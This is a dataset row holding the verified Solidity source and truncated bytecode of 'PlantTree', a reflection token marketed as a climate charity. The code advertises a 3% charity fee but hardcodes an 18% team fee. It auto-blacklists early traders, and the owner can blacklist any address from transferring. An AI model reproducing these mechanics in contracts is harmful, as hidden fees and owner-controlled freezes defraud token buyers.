address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x62ba1cfeb1b6e8776986d529a33a60aab02810f5
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
/**
Do you think the current problem of the world is covid?
Absolutely No! #ClimateEmergency is trending on Twitter.
Climate emergency is the most problem that we met
It's all because of us. If everybody plants a tree then the world could be saved.
If you are not good at the plant a tree or no time to do it then we can help you.
We will invest the profits in climate-related companies and organizations.
Buy the tokens, if you get your profit with our token then save the world by planting a tree.
If you didn't get a profit, then we will help on planting a tree by investing.
It's fair launch, No presale, dev tokens.
Telegram: https://t.me/planttreetoken
Twitter: https://twitter.com/search?q=%23ClimateEmergency&src=trend_click&vertical=trends
There's a bot protection so please don't snipe our token.
Launch time will be announced.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PlantTree is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Plant a Tree | t.me/planttreetoken";
string private constant _symbol = "PlantTree \xF0\x9F\x8C\xB1";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _charityFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _charityAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_charityAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _charityFee == 0) return;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_charityFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (block.number <= launchBlock + 3) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_charityAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _charityAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _charityAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 18);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613236565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612d59565b610507565b604051610199919061321b565b60405180910390f35b3480156101ae57600080fd5b506101b7610525565b6040516101c491906133d8565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612d0a565b610536565b604051610201919061321b565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612c7c565b61060f565b005b34801561023f57600080fd5b506102486106ff565b604051610255919061344d565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612dd6565b610708565b005b34801561029357600080fd5b5061029c6107ba565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612c7c565b61082c565b6040516102d291906133d8565b60405180910390f35b3480156102e757600080fd5b506102f061087d565b005b3480156102fe57600080fd5b506103076109d0565b604051610314919061314d565b60405180910390f35b34801561032957600080fd5b506103326109f9565b60405161033f9190613236565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612d59565b610a36565b60405161037c919061321b565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612d95565b610a54565b005b3480156103ba57600080fd5b506103c3610ba4565b005b3480156103d157600080fd5b506103da610c1e565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612c7c565b611182565b604051610410919061321b565b60405180910390f35b34801561042557600080fd5b5061042e6111d8565b60405161043b91906133d8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612e28565b6111de565b005b34801561047957600080fd5b50610494600480360381019061048f9190612cce565b611327565b6040516104a191906133d8565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612c7c565b6113ae565b6040516104de919061321b565b60405180910390f35b6060604051806060016040528060228152602001613b1160229139905090565b600061051b610514611404565b848461140c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105438484846115d7565b6106048461054f611404565b6105ff85604051806060016040528060288152602001613b3360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105b5611404565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201b9092919063ffffffff16565b61140c565b600190509392505050565b610617611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069b90613318565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610710611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079490613318565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107fb611404565b73ffffffffffffffffffffffffffffffffffffffff161461081b57600080fd5b60004790506108298161207f565b50565b6000610876600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120eb565b9050919050565b610885611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090990613318565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f506c616e745472656520f09f8cb1000000000000000000000000000000000000815250905090565b6000610a4a610a43611404565b84846115d7565b6001905092915050565b610a5c611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090613318565b60405180910390fd5b60005b8151811015610ba0576001600a6000848481518110610b34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b98906136ee565b915050610aec565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be5611404565b73ffffffffffffffffffffffffffffffffffffffff1614610c0557600080fd5b6000610c103061082c565b9050610c1b81612159565b50565b610c26611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90613318565b60405180910390fd5b600e60149054906101000a900460ff1615610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa90613398565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061140c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd957600080fd5b505afa158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e119190612ca5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7357600080fd5b505afa158015610e87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eab9190612ca5565b6040518363ffffffff1660e01b8152600401610ec8929190613168565b602060405180830381600087803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1a9190612ca5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa33061082c565b600080610fae6109d0565b426040518863ffffffff1660e01b8152600401610fd0969594939291906131ba565b6060604051808303818588803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110229190612e51565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f81905550436010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112c929190613191565b602060405180830381600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117e9190612dff565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60105481565b6111e6611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90613318565b60405180910390fd5b600081116112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad906132d8565b60405180910390fd5b6112e560646112d783683635c9adc5dea0000061245390919063ffffffff16565b6124ce90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161131c91906133d8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390613378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613298565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ca91906133d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613358565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90613258565b60405180910390fd5b600081116116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190613338565b60405180910390fd5b6117026109d0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177057506117406109d0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5857600e60179054906101000a900460ff16156119a3573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561184c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118a65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119a257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118ec611404565b73ffffffffffffffffffffffffffffffffffffffff1614806119625750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661194a611404565b73ffffffffffffffffffffffffffffffffffffffff16145b6119a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611998906133b8565b60405180910390fd5b5b5b600f548111156119b257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a565750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611aac5750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bce5750600e60179054906101000a900460ff165b15611c6f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c1e57600080fd5b601e42611c2b919061350e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6003601054611c7e919061350e565b4311611e9e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d305750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d92576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e9d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e3e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9c576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ea93061082c565b9050600e60159054906101000a900460ff16158015611f165750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f2e5750600e60169054906101000a900460ff165b15611f5657611f3c81612159565b60004790506000811115611f5457611f534761207f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fff5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561200957600090505b61201584848484612518565b50505050565b6000838311158290612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a9190613236565b60405180910390fd5b506000838561207291906135ef565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120e7573d6000803e3d6000fd5b5050565b6000600654821115612132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212990613278565b60405180910390fd5b600061213c612545565b905061215181846124ce90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121e55781602001602082028036833780820191505090505b5090503081600081518110612223577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122c557600080fd5b505afa1580156122d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122fd9190612ca5565b81600181518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061239e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140c565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124029594939291906133f3565b600060405180830381600087803b15801561241c57600080fd5b505af1158015612430573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561246657600090506124c8565b600082846124749190613595565b90508284826124839190613564565b146124c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ba906132f8565b60405180910390fd5b809150505b92915050565b600061251083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612570565b905092915050565b80612526576125256125d3565b5b612531848484612604565b8061253f5761253e6127cf565b5b50505050565b60008060006125526127e1565b9150915061256981836124ce90919063ffffffff16565b9250505090565b600080831182906125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ae9190613236565b60405180910390fd5b50600083856125c69190613564565b9050809150509392505050565b60006008541480156125e757506000600954145b156125f157612602565b600060088190555060006009819055505b565b60008060008060008061261687612843565b95